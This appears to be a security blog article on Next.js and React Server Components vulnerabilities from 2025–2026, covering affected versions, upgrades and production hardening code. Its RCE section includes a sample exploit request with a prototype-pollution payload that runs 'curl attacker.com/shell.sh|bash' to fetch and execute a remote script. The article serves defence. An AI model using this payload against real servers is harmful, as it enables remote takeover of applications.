Next.js 16.1 Security Patches: CVEs Explained 2026
Late 2025 and early 2026 brought a wave of serious security vulnerabilities to the Next.js ecosystem. The most severe — CVE-2025-66478 — carried a CVSS score of 10.0, allowing unauthenticated remote code execution on any Next.js App Router application. A second critical vulnerability in the React Server Components protocol, CVE-2025-55182, is the upstream root. And a Denial of Service bug, CVE-2026-23864, followed in January 2026.
This article explains what each vulnerability does at a technical level, which versions are affected, how Next.js 16.1.5 addresses them, and what you should harden in production regardless of patch status.
TL;DR
Upgrade to Next.js 16.1.5 immediately. CVE-2025-66478 is a CVSS 10.0 RCE that affects all Next.js 15.x and 16.x App Router applications. CVE-2025-55182 is the upstream React vulnerability it depends on. CVE-2026-23864 is a DoS affecting 16.1.x. There is no configuration workaround for the RCE — upgrade is mandatory.
Key Takeaways
- CVE-2025-66478: CVSS 10.0 RCE via prototype pollution in React Server Components, affects Next.js 15–16 App Router
- CVE-2025-55182: Upstream React critical RCE, same attack surface
- CVE-2026-23864: CVSS 7.5 DoS via malicious payloads causing memory exhaustion
- CVE-2025-55184 / CVE-2025-55183: High-severity DoS and medium Source Code Exposure
- Pages Router and Edge Runtime are NOT affected by the RSC vulnerabilities
- Fix:
npm update next react react-dom— upgrade to Next.js 16.1.5 and React 19.1+ - Hardening: Security headers, CORS policy, and CSP configuration matter even after patching
Why This Wave Hit Hard
React Server Components (RSC) and Server Actions are relatively new protocol surfaces. When Next.js adopted the App Router in version 13 and made it default in 14, it introduced a new HTTP protocol for RSC payloads and a new mechanism for calling server-side functions from client components via Server Actions.
Both of these surfaces involve deserializing data sent from the client (or a malicious actor pretending to be a client) on the server. The December 2025 vulnerabilities exploited exactly this: malicious payloads sent through the RSC serialization layer that the server then executed as trusted data.
The Pages Router, which uses the older getServerSideProps / API routes model, does not use the RSC protocol and is not affected.
CVE-2025-66478: Critical RCE in Next.js Server Actions
CVSS: 10.0 (Critical) Type: Remote Code Execution Affected: Next.js 15.x and 16.x App Router (not 13.x, 14.x stable, Pages Router, or Edge Runtime) Fixed in: Next.js 15.2.3 / 16.1.2
What It Does
An unauthenticated attacker can send a crafted HTTP POST request to any endpoint that processes a Server Action. The malicious payload exploits a prototype pollution vulnerability in how the RSC protocol deserializes the request body.
The attack path:
- Attacker sends a POST request with
Content-Type: multipart/form-datato a route with a Server Action - The payload includes malicious property keys that traverse the prototype chain (
__proto__,constructor,prototype) - Prototype pollution reaches
Object.prototype, granting access to theFunctionconstructor - The Function constructor is used to execute arbitrary JavaScript on the server
The attack requires no authentication, no CSRF token, and no prior knowledge of the application's structure beyond knowing it is a Next.js App Router application with Server Actions enabled.
POST /api/submit HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----boundary
------boundary
Content-Disposition: form-data; name="__proto__[polluted]"
constructor
------boundary
Content-Disposition: form-data; name="constructor[prototype][exec]"
require('child_process').exec('curl attacker.com/shell.sh|bash')
------boundary--
Relationship to CVE-2025-55182
CVE-2025-66478 is the Next.js-specific tracking ID for an exploit that originates in the React RSC protocol implementation. CVE-2025-55182 tracks the same underlying vulnerability at the React level. NVD later marked CVE-2025-66478 as a duplicate of CVE-2025-55182.
Both need to be patched: React 19.1+ (released with the December 2025 security update) and Next.js 16.1.2+ (which depends on React 19.1+).
Who Is Affected
You are affected if:
- You use Next.js 15.x or 16.x with the App Router (not Pages Router)
- You have at least one Server Action defined in your codebase (any file with
"use server") - Your application is reachable from the internet
You are NOT affected if:
- You use Next.js 13.x or 14.x stable
- You exclusively use the Pages Router
- You are deployed on the Edge Runtime
- You have no Server Actions (though this is unusual for any App Router app)
The Fix
Next.js 16.1.2 patched the vulnerability by sanitizing and validating the deserialization of RSC payloads, specifically rejecting property keys that traverse the prototype chain. The fix is in the React RSC implementation (React 19.1) and the Next.js Server Action handler.
npm update next react react-dom
# Verify you are on the patched versions
npm list next react react-dom
You need:
next>= 15.2.3 or >= 16.1.2react>= 19.1.0react-dom>= 19.1.0
There is no environment variable, config flag, or middleware workaround. The only fix is upgrading.
CVE-2025-55184 and CVE-2025-55183: RSC DoS and Source Code Exposure
CVE-2025-55184 (CVSS 7.5): High-severity Denial of Service CVE-2025-55183 (CVSS 5.3): Medium-severity Source Code Exposure Fixed in: December 2025 Next.js security update (16.1.1)
These two vulnerabilities were disclosed together with the RCE on December 11, 2025.
CVE-2025-55184: Denial of Service
A malformed RSC payload can cause the React deserialization layer to enter an infinite loop or allocate unbounded memory. An attacker sending repeated crafted requests can exhaust server memory and bring down the application.
The fix in React 19.1 adds input size validation and loop depth limits to the RSC deserializer.
CVE-2025-55183: Source Code Exposure
Under specific conditions, error messages in the RSC protocol could include stack traces or internal file paths that reveal the server's directory structure. This is a medium-severity information disclosure, not directly exploitable for code execution, but useful for reconnaissance ahead of a more targeted attack.
The fix removes sensitive path information from RSC protocol error responses in production mode.
CVE-2026-23864: Denial of Service in Next.js 16.1
CVSS: 7.5 (High) Type: Denial of Service Affected: Next.js 16.1.0–16.1.4 Fixed in: Next.js 16.1.5
What It Does
A high-severity DoS vulnerability disclosed on January 26, 2026. A malicious payload — either through a Server Action, API route, or middleware — can cause memory exhaustion or excessive CPU consumption, effectively taking down the application.
The specific vector involves sending a payload that triggers unbounded processing in the request parsing layer. Unlike the RCE vulnerabilities, this one also affects applications that do not use Server Actions, as it targets the HTTP request parsing layer that all Next.js routes go through.
The Fix
Upgrade to Next.js 16.1.5:
npm install next@16.1.5
Rate limiting at the reverse proxy layer (nginx, Cloudflare, AWS ALB) provides a useful mitigation layer even before patching, since the DoS requires repeated requests. But rate limiting is not a substitute for upgrading — it only raises the attack cost.
How to Update
Check Your Current Versions
npm list next react react-dom
# or
cat package.json | grep -E '"next"|"react"'
Update to Patched Versions
# Update to latest patched versions
npm update next react react-dom
# Or pin to specific safe versions
npm install next@16.1.5 react@^19.1.0 react-dom@^19.1.0
Verify No Remaining Vulnerabilities
npm audit
# Should show 0 high/critical vulnerabilities after upgrading
For Monorepos
If you use a monorepo (Turborepo, Nx, pnpm workspaces), make sure all workspaces that depend on next, react, and react-dom are upgraded. A nested package with an old version of React can still be exploitable even if your root package.json is patched.
# pnpm workspaces: update across all packages
pnpm update next react react-dom --recursive
# npm workspaces
npm update next react react-dom --workspaces
Hardening Next.js in Production
Patching the known CVEs is necessary but not sufficient. These vulnerabilities highlighted a broader need for defense-in-depth in Next.js deployments.
Security Headers
Next.js makes it easy to add security headers via next.config.js. These headers prevent a range of attacks beyond the current CVEs:
// next.config.js
const securityHeaders = [
{
key: "X-DNS-Prefetch-Control",
value: "on",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload",
},
{
key: "X-Frame-Options",
value: "SAMEORIGIN",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Referrer-Policy",
value: "strict-origin-when-cross-origin",
},
{
key: "Permissions-Policy",
value: "camera=(), microphone=(), geolocation=()",
},
];
/** @type {import('next').NextConfig} */
const nextConfig = {
async headers() {
return [
{
source: "/(.*)",
headers: securityHeaders,
},
];
},
};
export default nextConfig;
Content Security Policy
CSP is the most powerful XSS mitigation available. Next.js supports nonce-based CSP via middleware, which is necessary because Server Components generate inline scripts:
// middleware.ts
import { NextResponse } from "next/server";
import type { NextRequest } from "next/server";
export function middleware(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString("base64");
const cspHeader = `
default-src 'self';
script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
style-src 'self' 'nonce-${nonce}';
img-src 'self' blob: data:;
font-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
`
.replace(/\s{2,}/g, " ")
.trim();
const requestHeaders = new Headers(request.headers);
requestHeaders.set("x-nonce", nonce);
requestHeaders.set("Content-Security-Policy", cspHeader);
const response = NextResponse.next({ request: { headers: requestHeaders } });
response.headers.set("Content-Security-Policy", cspHeader);
return response;
}
CORS Configuration for API Routes
If you expose API routes, configure CORS explicitly rather than relying on defaults:
// app/api/data/route.ts
import { NextRequest, NextResponse } from "next/server";
const ALLOWED_ORIGINS = [
"https://yourapp.com",
"https://www.yourapp.com",
process.env.NODE_ENV === "development" ? "http://localhost:3000" : "",
].filter(Boolean);
export async function OPTIONS(request: NextRequest) {
const origin = request.headers.get("origin") ?? "";
const isAllowed = ALLOWED_ORIGINS.includes(origin);
return new NextResponse(null, {
status: 204,
headers: {
"Access-Control-Allow-Origin": isAllowed ? origin : ALLOWED_ORIGINS[0],
"Access-Control-Allow-Methods": "GET, POST, OPTIONS",
"Access-Control-Allow-Headers": "Content-Type, Authorization",
"Access-Control-Max-Age": "86400",
},
});
}
Rate Limiting Server Actions
Since CVE-2025-66478 required no authentication, rate limiting at the application layer adds friction for attackers:
// lib/rate-limit.ts
import { headers } from "next/headers";
const rateLimitMap = new Map<string, { count: number; reset: number }>();
export function checkRateLimit(key: string, limit: number, windowMs: number): boolean {
const now = Date.now();
const entry = rateLimitMap.get(key);
if (!entry || now > entry.reset) {
rateLimitMap.set(key, { count: 1, reset: now + windowMs });
return true;
}
if (entry.count >= limit) {
return false;
}
entry.count++;
return true;
}
// In a Server Action:
"use server";
import { headers } from "next/headers";
import { checkRateLimit } from "@/lib/rate-limit";
export async function submitForm(data: FormData) {
const headersList = await headers();
const ip = headersList.get("x-forwarded-for") ?? "unknown";
if (!checkRateLimit(`submit:${ip}`, 10, 60_000)) {
throw new Error("Too many requests");
}
// ... rest of action
}
For production use, replace the in-memory map with Redis (Upstash is the common choice for serverless deployments with Next.js, as covered in the best Next.js auth solutions guide).
Input Validation in Server Actions
After patching CVE-2025-66478, the best long-term protection is treating all Server Action inputs as untrusted and validating with a schema library:
"use server";
import { z } from "zod";
const CreatePostSchema = z.object({
title: z.string().min(1).max(200),
content: z.string().min(1).max(50_000),
tags: z.array(z.string().max(50)).max(10),
});
export async function createPost(formData: FormData) {
const raw = {
title: formData.get("title"),
content: formData.get("content"),
tags: formData.getAll("tags"),
};
const parsed = CreatePostSchema.safeParse(raw);
if (!parsed.success) {
return { error: parsed.error.flatten() };
}
// Use parsed.data — safe and validated
const { title, content, tags } = parsed.data;
// ...
}
This is good practice regardless of CVEs. Prototype pollution attacks require the attacker to inject unexpected keys into objects; strict schema validation ensures only expected keys are ever present.
Vulnerability Summary Table
| CVE | CVSS | Type | Affected Versions | Fixed In |
|---|---|---|---|---|
| CVE-2025-66478 | 10.0 | RCE | Next.js 15.x–16.x App Router | 15.2.3 / 16.1.2 |
| CVE-2025-55182 | 10.0 | RCE (upstream React) | React 19.0.x | React 19.1 |
| CVE-2025-55184 | 7.5 | DoS | React 19.0.x | React 19.1 |
| CVE-2025-55183 | 5.3 | Source Code Exposure | React 19.0.x | React 19.1 |
| CVE-2026-23864 | 7.5 | DoS | Next.js 16.1.0–16.1.4 | 16.1.5 |
Deployment Checklist After Patching
Before redeploying after patching, run through this:
-
npm auditshows 0 critical/high vulnerabilities -
next@>=16.1.5,react@>=19.1.0,react-dom@>=19.1.0inpackage.json - All monorepo workspaces updated (not just root)
- Security headers configured in
next.config.js - CSP nonce middleware in place
- Server Actions have input validation (Zod or equivalent)
- Rate limiting on sensitive Server Actions
- CORS configured explicitly for API routes
- Dependency bot / Renovate configured to auto-update patch releases
For broader architectural considerations on Next.js in production, the Next.js 15 vs Remix comparison covers security posture differences between frameworks.
Staying Ahead of Future Next.js Vulnerabilities
The December 2025 and January 2026 vulnerabilities shared a common pattern: they exploited the boundary between trusted server code and untrusted client input in the React Server Components protocol. As Next.js continues extending the App Router surface area, this boundary will remain a high-value target.
The most effective ongoing controls are: automated dependency updates (Renovate or Dependabot configured to auto-merge patch releases for next, react, and react-dom), npm audit in CI as a blocking step, and runtime monitoring that alerts on unusual POST patterns to Server Action endpoints.
The Next.js team has committed to a responsible disclosure process and maintains a security advisory channel. Subscribe to the vercel/next.js GitHub repository's security advisories to get notifications directly, rather than relying on npm audit to pick up disclosures after the fact.
Framework selection also matters from a security posture standpoint. The Next.js 15 vs Remix comparison has a section on how Remix's loader/action model differs architecturally from Server Actions, which is relevant context if you are evaluating frameworks for a new project. And the partial prerendering feature in Next.js introduces additional rendering modes that each have their own security surface considerations worth understanding.
Patch early, harden your headers, validate your inputs. These three habits catch the vast majority of Next.js production security issues.
Methodology
This article draws on the official Next.js security advisories published at nextjs.org/blog, the CVE-2025-66478 technical analysis from Praetorian and Wiz, the Palo Alto Unit 42 exploitation research, the React team's security disclosure, and Netlify's changelog entry on the DoS vulnerability. The hardening examples are based on the Next.js 16 documentation and production deployment guides.